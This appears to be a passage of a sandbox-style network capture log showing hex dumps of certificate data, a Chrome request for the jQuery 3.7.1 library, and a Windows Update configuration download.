2025-06-10 10:50:20 UTC	1460	IN	Data Raw: 2d 5f d0 00 d0 07 f4 72 f6 e6 e8 44 69 fd 25 5f 10 dc 3f 70 f7 40 41 25 f8 69 80 38 20 27 0e a0 36 fd 40 ab 6d 7e e0 7e 60 1f a0 bb cd 0f 54 fd d7 fc c0 df e9 fb c7 c8 07 c3 96 47 48 09 90 7f f5 08 49 7f e5 05 82 72 c3 a4 de 98 91 55 c3 ea 10 ce a3 13 c3 f7 12 97 f6 c4 ce d7 c2 d9 28 f3 83 ce ec 99 14 4b d4 be 03 9e 48 26 e8 06 e4 1c e3 a4 41 09 dd e2 d3 84 db 86 e8 d2 f6 fb 0d f2 bb 63 cb fd 6b 48 cc 83 a9 85 16 0a 62 17 34 a2 dc b2 5c 8e 5a 11 11 25 46 bc 99 aa 15 3b c9 46 0f 5f 5e b9 9a fd a8 03 36 50 d9 0b 10 d7 86 2a ed 8c d3 6e 1f ed e9 f0 96 84 f7 3b dc 1d 9e 09 6e c5 df da 17 74 23 13 af d2 ac 85 dd 4d 74 ea 15 fd 52 cf 64 7f b7 fa f3 19 03 d1 3c 1d f9 9e 49 c6 ae 97 08 66 b1 ba 94 91 c7 2a c7 ee c7 ef 55 45 e4 5e a7 ed 2e 5d 46 59 44 0d 4b 8d 93 Data Ascii: -_rDi%_?p@A%i8 '6@m~~`TGHIrU(KH&AckHb4\Z%F;F_^6Pn;nt#MtRd<IfUE^.]FYDK
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: f4 d2 5b 0d c4 46 f4 08 0d 64 b7 dd 0e 23 c4 4a be c6 2c 08 e4 15 96 43 0e 90 12 6e 83 93 e4 22 73 bf 9c 43 a3 72 7e 18 32 1c 87 83 10 55 1d 3d 13 70 78 a0 df ea 3e bc 8f 9c f3 c9 cd b2 63 9f 56 68 27 2f ce f2 f7 d1 be 1e 37 ef db 07 4d 38 19 d3 72 07 4b 21 bd e4 5a 22 2f df 9c d9 42 cd 28 ce 46 7d 02 5e c0 3a 7d 59 8f ba 2b d9 8a 6a ee ee 00 2f 1d b9 28 fd 40 78 e3 bc e0 27 36 dd fd 43 d9 6a 3e 0d 73 ca 91 ee 0f 3d a6 1a b5 25 8c d1 15 8a d7 f8 93 2e 54 ac df 56 e1 7f ed 19 54 17 27 34 90 14 e3 70 8c 6c 7f ff 7e 4f 51 14 1e 4e 05 72 47 b2 4d 89 4e f9 67 77 f4 77 a9 eb f6 50 12 1e aa 0b b0 6d 8f 25 51 7d 17 52 f8 55 b8 68 f5 90 ab 07 5f 36 1f f1 e4 1e e5 fb f3 73 97 9a e6 1d ab bb ee b9 59 5a f2 3c e8 6d 9f be 51 7b 02 c0 7d d8 d6 01 4c 12 85 7b 05 e0 5e Data Ascii: [Fd#J,Cn"sCr~2U=px>cVh'/7M8rK!Z"/B(F}^:}Y+j/(@x'6Cj>s=%.TVT'4pl~OQNrGMNgwwPm%Q}RUh_6sYZ<mQ{}L{^
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: 17 7a 50 e3 3d 37 50 78 c6 9b 00 9e b1 6c 93 1f 64 fc 47 28 e5 6f 7b 2c 3f 66 9c 1b c0 91 91 7f f1 eb 59 11 28 38 61 06 ff bf 92 d0 14 5f 4d 0f e8 d9 e9 00 5a 30 6e 48 2f 23 03 13 4d 57 f0 f8 e5 8d 51 9b 88 0d f9 1d 57 58 98 cf e8 0b 8c f6 eb 9c da ff e4 4a 13 15 29 0c 69 75 94 79 e3 95 50 e5 48 e0 90 99 54 fe c5 90 26 13 97 27 85 89 ed 99 b4 32 69 b3 23 07 e3 9e fb e7 e2 e9 27 ff d9 3c 6e 78 48 c3 3d 4c b0 78 83 47 97 43 99 4b fa 65 6a 2b a5 20 16 23 d3 dd e2 46 1d 6b 79 16 e2 7b e7 3e e7 71 eb 7f c8 e3 4a 49 a0 64 7e e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 7f e6 71 ff ab f3 b8 5d a3 0e 92 5e 1d d9 33 07 9d b4 5a 5b 1f 36 94 07 fb 31 44 46 72 24 1d af 77 ba 94 e6 6b df 96 Data Ascii: zP=7PxldG(o{,?fY(8a_MZ0nH/#MWQWXJ)iuyPHT&'2i#'<nxH=LxGCKej+ #Fky{>qJId~qqqqqqqqqqqqqqq]^3Z[61DFr$wk
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: 72 61 74 69 6f 6e 73 20 50 75 65 72 74 6f 20 52 69 63 6f 31 16 30 14 06 03 55 04 05 13 0d 32 33 30 38 32 39 2b 34 35 34 32 33 37 30 1f 06 03 55 1d 23 04 18 30 16 80 14 ad 94 76 8f 83 ad 0e 03 a3 e8 3b b0 d7 34 68 d4 79 3a 7d dc 30 60 06 03 55 1d 1f 04 59 30 57 30 55 a0 53 a0 51 86 4f 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 6b 69 6f 70 73 2f 63 72 6c 2f 4d 69 63 72 6f 73 6f 66 74 25 32 30 55 70 64 61 74 65 25 32 30 53 69 67 6e 69 6e 67 25 32 30 43 41 25 32 30 32 2e 31 2e 63 72 6c 30 6d 06 08 2b 06 01 05 05 07 01 01 04 61 30 5f 30 5d 06 08 2b 06 01 05 05 07 30 02 86 51 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 6b 69 6f 70 73 2f 63 65 72 74 73 2f 4d 69 63 72 6f 73 6f 66 74 25 32 30 55 Data Ascii: rations Puerto Rico10U230829+4542370U#0v;4hy:}0`UY0W0USQOhttp://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl0m+a0_0]+0Qhttp://www.microsoft.com/pkiops/certs/Microsoft%20U
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: 6c d5 21 c9 b8 50 68 05 c3 e4 09 c9 bd 51 c9 5f 6d 75 4f 8d 35 30 c5 8c c1 83 b2 1f 93 b5 72 6f d2 44 90 1d ed 7f 13 a9 7d 53 24 9c aa 46 c0 8f c5 c5 be bf c8 55 14 fe 87 35 fe cd d5 7e 02 d2 87 68 00 c9 b8 d7 44 cb 71 db a4 8b b3 e0 0e a6 0b ce 12 7d f6 68 dc c0 91 31 f8 59 2c 2c f5 d5 d1 2e 08 9d 2b 30 6a 6e aa ad 9e 16 4e 27 d0 ba 3b 1a 81 30 43 38 92 87 e1 6c 6f 43 3d 2d 4e 1f 0d 10 c1 f8 fa bc 84 c8 93 c3 9e 47 fc b6 fa d1 2f b6 af 39 3e 9c 3f 1c f1 4d a4 16 d3 0a e2 e7 4e f5 37 88 03 46 8e 1e cc 77 c1 47 d3 44 b7 e4 35 23 db eb 20 cb 2a f5 57 ae 2e 00 3b 6b e6 a3 6e 05 99 70 bb 76 3b d8 3c b4 76 f6 28 15 3a 25 d4 26 a4 08 9f d9 7e 7b 44 8a b7 15 8a c6 c5 78 2a 9d 32 c4 83 7b b9 6e 42 14 99 5d 49 7f 45 99 57 a7 33 77 44 1a ff 47 a3 71 b7 b0 b1 56 8a Data Ascii: l!PhQ_muO50roD}S$FU5~hDq}h1Y,,.+0jnN';0C8loC=-NG/9>?MN7FwGD5# W.;knpv;<v(:%&~{Dx2{nB]IEW3wDGqV
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: 42 06 0a 2b 06 01 04 01 82 37 02 01 0c 31 34 30 32 a0 14 80 12 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 a1 1a 80 18 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 04 82 01 00 3d cd 0e 0a 7b 43 82 69 14 76 9b c2 1b 25 6c 3f 01 d0 b8 bb 6f e9 4d 62 55 f3 7a 5b c4 05 04 2e 09 48 41 fd e9 13 24 1e f0 71 f0 79 9e 8e a7 ea d7 72 49 9f 71 e8 41 4c 0a 8e 69 71 3c 8f e9 56 c5 9d a0 e6 3c df 48 88 1c cf 7f eb a0 34 f3 ff 37 ca 6d 9f c7 86 eb 12 35 0a 45 a5 81 a8 f8 53 6d c6 11 4e ef 37 77 2a 73 bf 08 f9 ee ba 8d b8 48 1a 93 32 44 3a cd 7c 41 2d e3 20 7e 34 a2 7c 2b 93 92 2f 0a 5f 17 c8 65 98 79 74 bb e7 1c 1a e2 6c a4 15 db cf ae 5b 18 f9 9a 82 ab 98 f5 13 93 f3 0f 89 71 a4 2f c0 7e Data Ascii: B+71402Microsofthttp://www.microsoft.com0H={Civ%l?oMbUz[.HA$qyrIqALiq<V<H47m5ESmN7wsH2D:\|A- ~4\|+/_eytl[q/~
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: a3 82 01 1b 30 82 01 17 30 1d 06 03 55 1d 0e 04 16 04 14 ec 97 76 68 29 fe 13 4f cd 74 c6 25 18 f2 00 7c da 7d d7 a7 30 1f 06 03 55 1d 23 04 18 30 16 80 14 d5 63 3a 5c 8a 31 90 f3 43 7b 7c 46 1b c5 33 68 5a 85 6d 55 30 56 06 03 55 1d 1f 04 4f 30 4d 30 4b a0 49 a0 47 86 45 68 74 74 70 3a 2f 2f 63 72 6c 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 6b 69 2f 63 72 6c 2f 70 72 6f 64 75 63 74 73 2f 4d 69 63 54 69 6d 53 74 61 50 43 41 5f 32 30 31 30 2d 30 37 2d 30 31 2e 63 72 6c 30 5a 06 08 2b 06 01 05 05 07 01 01 04 4e 30 4c 30 4a 06 08 2b 06 01 05 05 07 30 02 86 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 6b 69 2f 63 65 72 74 73 2f 4d 69 63 54 69 6d 53 74 61 50 43 41 5f 32 30 31 30 2d 30 37 2d 30 31 2e 63 72 74 30 0c 06 Data Ascii: 00Uvh)Ot%\|}0U#0c:\1C{\|F3hZmU0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49721	151.101.2.137	443	5136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:50:38 UTC	521	OUT	GET /jquery-3.7.1.min.js HTTP/1.1 host: code.jquery.com origin: https://booking.home-extranet.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: cross-site sec-fetch-mode: cors sec-fetch-dest: script accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1
2025-06-10 10:50:38 UTC	594	IN	HTTP/1.1 200 OK server: nginx content-type: application/javascript; charset=utf-8 last-modified: Fri, 18 Oct 1991 12:00:00 GMT etag: "28feccc0-155ed" cache-control: public, max-age=31536000, stale-while-revalidate=604800 access-control-allow-origin: * cross-origin-resource-policy: cross-origin via: 1.1 varnish, 1.1 varnish accept-ranges: bytes age: 4246011 date: Tue, 10 Jun 2025 10:50:38 GMT x-served-by: cache-lga21978-LGA, cache-dfw-ktki8620030-DFW x-cache: HIT, HIT x-cache-hits: 5509, 0 x-timer: S1749552638.040517,VS0,VE1 vary: Accept-Encoding content-length: 87533
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 37 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 61 65 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 63 65 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 63 65 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 Data Ascii: ction(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){ret
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 63 74 5d 22 21 3d 3d 69 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 75 65 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 6f 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 61 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6d 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f 6e 63 65 7d 2c 6e 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 30 3b Data Ascii: ct]"!==i.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 61 72 20 70 65 3d 6f 65 2e 70 6f 70 2c 64 65 3d 6f 65 2e 73 6f 72 74 2c 68 65 3d 6f 65 2e 73 70 6c 69 63 65 2c 67 65 3d 22 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 76 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 67 65 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 67 65 2b 22 2b 24 22 2c 22 67 22 29 3b 63 65 2e 63 6f 6e 74 61 69 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 6e 7c 7c 21 28 21 6e 7c 7c 31 21 3d 3d 6e 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 65 2e 63 6f 6e 74 61 69 6e 73 3f 65 2e 63 6f 6e 74 61 69 6e 73 28 6e 29 3a 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 Data Ascii: ar pe=oe.pop,de=oe.sort,he=oe.splice,ge="[\\x20\\t\\r\\n\\f]",ve=new RegExp("^"+ge+"+\|((?:^\|[^\\\\])(?:\\\\.)*)"+ge+"+$","g");ce.contains=function(e,t){var n=t&&t.parentNode;return e===n\|\|!(!n\|\|1!==n.nodeType\|\|!(e.contains?e.contains(n):e.compareDocumentP
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 67 65 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 67 65 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 67 65 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 67 65 2b 22 2a 5c 5c 29 7c 29 22 2c 22 69 22 29 2c 62 6f 6f 6c 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 22 2b 66 2b 22 29 24 22 2c 22 69 22 29 2c 6e 65 65 64 73 43 6f 6e 74 65 78 74 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 67 65 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 67 65 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 67 65 2b 22 2a 5c 5c 29 7c 29 28 3f Data Ascii: ild\|of-type)(?:\$"+ge+"(even\|odd\|(([+-]\|)(\\d)n\|)"+ge+"(?:([+-]\|)"+ge+"(\\d+)\|))"+ge+"\$\|)","i"),bool:new RegExp("^(?:"+f+")$","i"),needsContext:new RegExp("^"+ge+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+ge+"((?:-\\d)?\\d)"+ge+"*\$\|)(?
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 2e 74 65 73 74 28 74 29 26 26 55 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 65 26 26 6c 65 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 63 65 2e 65 73 63 61 70 65 53 65 6c 65 63 74 6f 72 28 73 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 59 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 51 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 6b 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 65 29 7b 68 28 74 Data Ascii: .test(t)&&U(e.parentNode)\|\|e)==e&&le.scope\|\|((s=e.getAttribute("id"))?s=ce.escapeSelector(s):e.setAttribute("id",s=S)),o=(l=Y(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+Q(l[o]);c=l.join(",")}try{return k.apply(n,f.querySelectorAll(c)),n}catch(e){h(t
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 74 2e 74 6f 70 21 3d 3d 74 26 26 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 4d 29 2c 6c 65 2e 67 65 74 42 79 49 64 3d 24 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 64 3d 63 65 2e 65 78 70 61 6e 64 6f 2c 21 54 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 54 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 63 65 2e 65 78 70 61 6e 64 6f 29 2e 6c 65 6e 67 74 68 7d 29 2c 6c 65 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 4d 61 74 63 68 3d 24 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 69 2e 63 61 6c 6c 28 65 2c 22 2a 22 29 7d 29 2c 6c 65 2e 73 63 6f 70 65 3d 24 28 66 75 Data Ascii: .defaultView)&&t.top!==t&&t.addEventListener("unload",M),le.getById=$(function(e){return r.appendChild(e).id=ce.expando,!T.getElementsByName\|\|!T.getElementsByName(ce.expando).length}),le.disconnectedMatch=$(function(e){return i.call(e,"*")}),le.scope=$(fu
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 2f 73 65 6c 65 63 74 3e 22 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 64 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 67 65 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 66 2b 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 53 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 64 2e 70 75 73 68 28 22 7e 3d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 64 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 64 2e 70 75 73 68 28 22 3a 63 68 65 63 6b Data Ascii: /select>",e.querySelectorAll("[selected]").length\|\|d.push("\\["+ge+"(?:value\|"+f+")"),e.querySelectorAll("[id~="+S+"-]").length\|\|d.push("~="),e.querySelectorAll("a#"+S+"+").length\|\|d.push(".#.+[+~]"),e.querySelectorAll(":checked").length\|\|d.push(":check
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 6e 74 7c 7c 65 29 21 3d 54 26 26 56 28 65 29 3b 76 61 72 20 6e 3d 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 2c 72 3d 6e 26 26 75 65 2e 63 61 6c 6c 28 62 2e 61 74 74 72 48 61 6e 64 6c 65 2c 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3f 6e 28 65 2c 74 2c 21 43 29 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 72 3f 72 3a 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 74 29 7d 2c 49 2e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 53 79 6e 74 61 78 20 65 72 72 6f 72 2c 20 75 6e 72 65 63 6f 67 6e 69 7a 65 64 20 65 78 70 72 65 73 73 69 6f 6e 3a 20 22 2b 65 29 7d 2c 63 65 2e 75 6e 69 71 75 65 53 6f 72 74 3d 66 75 6e 63 74 69 6f 6e Data Ascii: nt\|\|e)!=T&&V(e);var n=b.attrHandle[t.toLowerCase()],r=n&&ue.call(b.attrHandle,t.toLowerCase())?n(e,t,!C):void 0;return void 0!==r?r:e.getAttribute(t)},I.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},ce.uniqueSort=function
2025-06-10 10:50:38 UTC	1460	IN	Data Raw: 65 77 20 52 65 67 45 78 70 28 22 28 5e 7c 22 2b 67 65 2b 22 29 22 2b 65 2b 22 28 22 2b 67 65 2b 22 7c 24 29 22 29 29 26 26 73 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 74 65 73 74 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 63 6c 61 73 73 4e 61 6d 65 26 26 65 2e 63 6c 61 73 73 4e 61 6d 65 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 7c 7c 22 22 29 7d 29 7d 2c 41 54 54 52 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 69 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 49 2e 61 74 74 72 28 65 2c 6e 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f Data Ascii: ew RegExp("(^\|"+ge+")"+e+"("+ge+"\|$)"))&&s(e,function(e){return t.test("string"==typeof e.className&&e.className\|\|"undefined"!=typeof e.getAttribute&&e.getAttribute("class")\|\|"")})},ATTR:function(n,r,i){return function(e){var t=I.attr(e,n);return null==t?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49725	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:51:03 UTC	309	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CXNFVx7sFbv22Kz&MD=NcD3C+lt HTTP/1.1 host: slscr.update.microsoft.com accept: / user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 accept-encoding: identity
2025-06-10 10:51:03 UTC	558	IN	HTTP/1.1 200 OK content-type: application/octet-stream date: Tue, 10 Jun 2025 10:51:03 GMT cache-control: no-cache etag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" expires: -1 last-modified: Mon, 01 Jan 0001 00:00:00 GMT pragma: no-cache content-length: 30005 slsversion: 2.0 ms-correlationid: cd75653e-fc6d-440d-99f3-4ae2c5b638e6 ms-requestid: 08839922-d0f9-48b9-a1a3-e5fdd02f1847 ms-cv: 4f9vK1POy0Ctzodq.0 x-content-type-options: nosniff x-microsoft-slsclientcache: 1440 content-disposition: attachment; filename=environment.cab
2025-06-10 10:51:03 UTC	1460	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b 